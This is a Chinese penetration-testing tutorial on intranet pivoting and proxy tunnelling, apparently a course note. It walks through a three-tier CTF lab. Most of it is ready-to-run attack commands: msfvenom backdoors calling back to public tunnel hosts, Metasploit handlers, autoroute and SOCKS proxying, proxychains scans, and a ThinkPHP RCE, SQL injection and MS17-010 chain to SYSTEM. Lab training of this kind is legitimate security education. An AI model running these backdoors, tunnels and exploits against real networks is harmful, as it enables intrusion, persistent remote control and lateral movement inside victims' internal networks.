70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

思维导图

70:内网安全-域横向内网漫游Socks代理隧道技术

必要基础知识点:

1.内外网简单知识

  • 内网ip地址是私有ip地址(10/8, 172.16/12 , 192.168/16),除此之外就是外网ip。

2.内网1和内网2通信问题

  • 两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理。

3.正反向协议通信连接问题

  • 正向:控制端主动去连接被控端
  • 反向:被控端主动去连接控制端
  • 为什么要区分正向和反向?--因为如果控制端是外网主机,被控端是内网主机,就相当于控制端有一个唯一的IP地址(比如103.12.4.11),通过这个IP地址就可以找到控制端,而在内网的被控端(比如192.168.23.36),你通过控制端主动去找是找不到的,因为这个内网IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。

4.内网穿透代理隧道技术说明

  • 隧道主要解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题
  • 代理主要解决网络的连通性问题

本课主要讲解国外地址:https://ngrok.com/

国内地址:https://www.ngrok.cc/ 国外的比较卡慢,用国内的就行<br>2022.01.18:国内的太麻烦了,亲测还是国外的好用,另外,国内有一款花生壳应该也不错,可以试试 协议:http 本地端口:192.168.76.132:4444   2.测试:内网1执行后门-免费主机处理-内网2监听-内网2接受器   启动ngrok客户端 ./sunny clientid <隧道id>   在kali下生成后门(因为选择的是http协议,所以这里是reverse_http),并把后门test.exe复制到windows7 msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe   配置并监听(一旦xiaodisec.free.idcfengye.com有流量,就发给本地192.168.76.132:4444) msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.76.132 set lport 4444 exploit

案例演示

<1>注册,登录

70:内网安全-域横向内网漫游Socks代理隧道技术

<2>点击ngrok客户端下载

70:内网安全-域横向内网漫游Socks代理隧道技术

<3>根据操作系统版本选择对应的客户端下载(我们用的kali作为内网肉鸡,下载的就是linux版本)

70:内网安全-域横向内网漫游Socks代理隧道技术

<4>开通隧道(仅做测试用,使用免费的即可,免费的不稳定容易断,实战中建议使用收费版)

70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

<5>本地端口配置的是内网肉鸡kali的IP:Port

70:内网安全-域横向内网漫游Socks代理隧道技术

<6>开两台虚拟机模拟内外网,其中kali模拟内网肉鸡,windows7模拟外网主机(后面几步用msf生成后门,再用另一台电脑来执行这个后门,两台电脑实现互联)

<7>将ngrok客户端传到内网肉鸡 kali上,解压缩

70:内网安全-域横向内网漫游Socks代理隧道技术

<8>启动

70:内网安全-域横向内网漫游Socks代理隧道技术

<9>隧道状态变为online

70:内网安全-域横向内网漫游Socks代理隧道技术

<10>生成后门

70:内网安全-域横向内网漫游Socks代理隧道技术

<11>把后门test.exe复制到windows7

<12>配置并监听(一旦xiaodisec.free.idcfengye.com有流量,就发给本地192.168.76.132:4444)

1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.76.132 set lport 4444 exploit

<13>在windows7上双击启动后门test.exe

<14>kali上监听到会话,ngrok客户端监听到流量

70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

案例2-内网穿透Frp自建跳板测试-两个内网通讯上线

FRP说明文档:https://gofrp.org/docs/

Frp工具:开源免费,自行搭建,方便修改,成本低,使用多样化,防止隐私泄露。而Ngrok工具使用的是别人的服务器,容易泄露隐私数据。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口) FRP下载地址:https://github.com/fatedier/frp/releases 服务器修改配置文件frps.ini: [common] bind_port = 6677 启动服务端: ./frps -c ./frps.ini   2.控制端-下载-解压-修改-启动 控制端修改配置文件frpc.ini: [common] server_addr = 你的云主机ip server_port = 6677 #frpc工作端口,必须和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 #转发给本机的5555 remote_port = 6000 #服务端用6000端口转发给本机   启动客户端(kali): ./frpc -c ./frpc.ini   生成后门: msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit   3.靶机运行frp即可

案例演示

1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)

1 2 3 4 5 服务器修改配置文件frps.ini: [common] bind_port = 6677 启动服务端: ./frps -c ./frps.ini

70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

2.控制端-下载-解压-修改-启动

<1>控制端修改配置文件frpc.ini

1 2 3 4 5 6 7 8 [common] server_addr = 你的云主机ip server_port = 6677 #frpc工作端口,必须和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 #转发给本机的5555 remote_port = 6000 #服务端用6000端口转发给本机

70:内网安全-域横向内网漫游Socks代理隧道技术

<2>启动客户端(kali)

1 ./frpc -c ./frpc.ini

70:内网安全-域横向内网漫游Socks代理隧道技术

此时服务端收到端口连接

70:内网安全-域横向内网漫游Socks代理隧道技术

<3>生成后门

1 msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe

70:内网安全-域横向内网漫游Socks代理隧道技术

<4>配置监听

1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit

70:内网安全-域横向内网漫游Socks代理隧道技术

3.将后门文件拷贝到靶机,运行。如上图所示,监听到会话。

案例3:CFS三层内网漫游安全测试演练-某CTF线下2019

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结尾。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 Target1(centos7 x64): 探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2   1.生成后门: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf   2.接受反弹: msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.76.132 set LPORT 1111 exploit   3.信息收集及配置访问 获取网络接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.22.0/24 开启本地代理: use auxiliary/server/socks4a set srvport 2222 exploit   4.利用本地代理接口访问测试 设置浏览器代理进行访问测试 linux: 配置proxychains(代理工具)后调用工具探针Target2 /etc/proxychains.conf socks4 192.168.76.132 2222(在配置文件中添加) proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80  -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。 -sT:扫描TCP数据包已建立的连接connect   windows: 利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试   Target2(ubuntu x64): 探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3 http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入 http://192.168.22.128/index.php?r=admini/public/login #后台 http://192.168.22.128/index.php?r=special #后门shell   1.生成正向后门: msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf   2.访问接受: use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.128 set LPORT 3333 exploit   3.信息收集及配置访问 获取网络接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.33.0/24   Target3:(windows7 x64) 探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG proxychains4 nmap -Pn -sT 192.168.33.33 use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set RHOST 192.168.33.33 exploit shell dir /S flag.txt /B type xxxxx.txt

案例演示

环境准备

70:内网安全-域横向内网漫游Socks代理隧道技术

Target1(centos7 x64):

探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-获取Flag-Target2

<1>探针目标,发现target1上面部署了thinkphp v5

70:内网安全-域横向内网漫游Socks代理隧道技术

<2>验证是否存在远程命令执行漏洞,结果存在。

70:内网安全-域横向内网漫游Socks代理隧道技术

<3>利用漏洞,可以直接执行命令

70:内网安全-域横向内网漫游Socks代理隧道技术

<4>通过命令可以直接写入后门

70:内网安全-域横向内网漫游Socks代理隧道技术

<5>浏览器查看一下,写入成功

70:内网安全-域横向内网漫游Socks代理隧道技术

<6>蚁剑连接,拿到第1个flag。

70:内网安全-域横向内网漫游Socks代理隧道技术

连接上去之后,可以用它当做跳板,但是蚁剑比较麻烦,此时可以改用CS神器或者MSF,因为使用CS或者MSF时,即使权限不够,我们也可以进行一些操作。

<7>接下来我们开始渗透Target2。kali直接与target2连接是连不上的。因为kali网段是76,target2网段是22,二者不在同一个网段,无法互联,但是target1网段是76和22,target1既跟kali同一网段,又跟target2同一网段,因此,我们可以将target1作为跳板,实现kali和target2的互联。

70:内网安全-域横向内网漫游Socks代理隧道技术

<8>生成后门(kali上):

1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

70:内网安全-域横向内网漫游Socks代理隧道技术

<9>设置监听,准备接受反弹(kali上):

1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.76.132 set LPORT 1111 exploit

70:内网安全-域横向内网漫游Socks代理隧道技术

<10>将生成的后门通过蚁剑webshell上传到target1主机,执行后门。

70:内网安全-域横向内网漫游Socks代理隧道技术

<11>此时kali上接收到会话,getuid可以查看会话权限。

70:内网安全-域横向内网漫游Socks代理隧道技术

<12>信息收集及配置访问。

由于测试环境是我们自己准备的,所以我们知道target2主机的网段及IP地址。但是在实战中,我们应该是未知的,因此我们需要首先进行信息收集,以获得目标target2的相关信息,为进一步的渗透做准备。

首先,获取网络接口:run get_local_subnets ,由结果我们得知,target1存在两个网络接口,一个76,一个22,76与kali同一网段,是连接外网的,那22就是连接内网(局域网)的。

70:内网安全-域横向内网漫游Socks代理隧道技术

然后,查看路由地址:run autoroute -p ,发现当前的路由地址是空的

70:内网安全-域横向内网漫游Socks代理隧道技术

接着,我们就要添加路由地址:run autoroute -s 192.168.22.0/24

70:内网安全-域横向内网漫游Socks代理隧道技术

最后,再查看一下路由地址,确认添加成功。

70:内网安全-域横向内网漫游Socks代理隧道技术

添加路由地址成功,说明在刚才反弹的session1会话上,我们添加了一个22网段的网络接口。此时我们就可以通过这个路由跟22网段进行通讯了。虽然能够通讯了,但是我们的目标是攻击target2,要攻击就需要使用到工具,由于路由是写到了maf建立的会话上面,有些工具没法用。此时我们就需要开一个代理,开这个代理就相当于开一个接口给其他人用。
<13>开启本地代理

1 2 3 use auxiliary/server/socks4a set srvport 2222 exploit

70:内网安全-域横向内网漫游Socks代理隧道技术

<14>利用本地代理接口访问测试

首先,kali上配置proxychains(代理工具),修改/etc/proxychains.conf配置文件

1 socks4 192.168.76.132 2222(在配置文件中添加)

然后,调用工具探针Target2,扫描结果发现,80端口开放。

1 2 3 proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80 -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。 -sT:扫描TCP数据包已建立的连接connect

70:内网安全-域横向内网漫游Socks代理隧道技术

接着,浏览器修改代理配置

70:内网安全-域横向内网漫游Socks代理隧道技术

最后,此时kali上我们就可以正常访问target2上的服务了(以前是无法连接状态)

70:内网安全-域横向内网漫游Socks代理隧道技术

Target2(ubuntu x64):

探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3

<1>探针目标,利用SQL注入,拿到后台密码,登录后台。

1 2 3 http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入 http://192.168.22.128/index.php?r=admini/public/login #后台 http://192.168.22.128/index.php?r=special #后门shell

首先探针目标,在源码中直接找到线索,target2上的CMS服务存在SQL注入漏洞。

70:内网安全-域横向内网漫游Socks代理隧道技术

然后,通过sqlmap扫描注入点找到用户名密码。

接着,通过robots.txt文件找到了后台地址。\

70:内网安全-域横向内网漫游Socks代理隧道技术

最后,使用用户名密码登录后台。

70:内网安全-域横向内网漫游Socks代理隧道技术

登录成功,拿到第2个flag。

70:内网安全-域横向内网漫游Socks代理隧道技术

<2>通过后台模板功能,写入后门。

70:内网安全-域横向内网漫游Socks代理隧道技术

<3>配置蚁剑代理,测试连接,保存连接,访问,拿到webshell。

70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

以上是kali linux的代理访问设置,如果攻击机是windows的话,还可以利用代理工具Proxifier或SocksCap64载入代理进行远程访问测试。

Proxifier全局代理:

70:内网安全-域横向内网漫游Socks代理隧道技术

SocksCap64代理:

首先,点击代理,配置代理地址、端口和代理类型。

70:内网安全-域横向内网漫游Socks代理隧道技术

然后,点击程序,选择需要使用该代理的程序。(比如某些程序本身没有代理配置,此时就可以与SocksCap64配合使用代理)

70:内网安全-域横向内网漫游Socks代理隧道技术

最后,右击添加的程序,选择"在代理隧道中运行选中程序"。

70:内网安全-域横向内网漫游Socks代理隧道技术

<4>生成正向后门

1 msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

70:内网安全-域横向内网漫游Socks代理隧道技术

<5>访问接收

1 2 3 4 5 use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.128 set LPORT 3333 exploit

70:内网安全-域横向内网漫游Socks代理隧道技术

<6>将后门通过webshell上传,执行

70:内网安全-域横向内网漫游Socks代理隧道技术

70:内网安全-域横向内网漫游Socks代理隧道技术

<7>接收到会话

70:内网安全-域横向内网漫游Socks代理隧道技术

<8>信息收集及配置访问

1 2 3 获取网络接口:run get_local_subnets 查看路由地址:run autoroute -p 添加路由地址:run autoroute -s 192.168.33.0/24

70:内网安全-域横向内网漫游Socks代理隧道技术

接下来对3333端口进行攻击,由于目标主机是windows系统,我们以前讲过很多攻击工具,比如,namp --script=all、namp --script=vuln、nessus等。

Target3:(windows7 x64)

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG

<1>探针目标,发现开放了445和3389端口,且存在MS17010漏洞。

1 proxychains4 nmap -Pn -sT 192.168.33.33

<2>利用MS17010获取系统权限

1 2 3 4 use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set RHOST 192.168.33.33 exploit

<3>监听到会话,得到system权限。

70:内网安全-域横向内网漫游Socks代理隧道技术

<4>搜索关键字,得到第3个flag。

1 2 3 shell dir /S flag.txt /B type xxxxx.txt

70:内网安全-域横向内网漫游Socks代理隧道技术

上一篇:java springboot项目jdbc无法和mysql5.7建立SSL连接


下一篇:Redis五种数据类型及应用场景